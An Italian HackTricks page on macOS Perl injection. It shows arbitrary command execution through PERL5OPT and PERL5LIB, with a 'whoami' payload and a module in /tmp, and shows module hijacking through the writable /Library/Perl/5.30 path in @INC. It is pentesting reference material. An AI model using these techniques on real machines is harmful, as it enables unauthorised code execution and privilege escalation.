macOS Perl Applications Injection

Supporta HackTricks

Attraverso le variabili d'ambiente PERL5OPT e PERL5LIB

Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari. Per esempio, crea questo script:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Ora esporta la variabile di ambiente ed esegui lo script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Un'altra opzione è creare un modulo Perl (ad esempio /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

E poi utilizzare le variabili di ambiente:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Attraverso le dipendenze

È possibile elencare l'ordine delle cartelle delle dipendenze di Perl in esecuzione:

perl -e 'print join("\n", @INC)'

Quanto segue restituirà qualcosa del genere:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Alcune delle cartelle restituite non esistono nemmeno, tuttavia, /Library/Perl/5.30 esiste, non è protetta da SIP ed è posizionata prima delle cartelle protette da SIP. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alto privilegio le carichi.

Tuttavia, nota che è necessario essere root per scrivere in quella cartella e oggigiorno otterrai questo prompt TCC:

Ad esempio, se uno script sta importando use File::Basename; sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm per eseguire codice arbitrario.

References

Supporta HackTricks

Last updated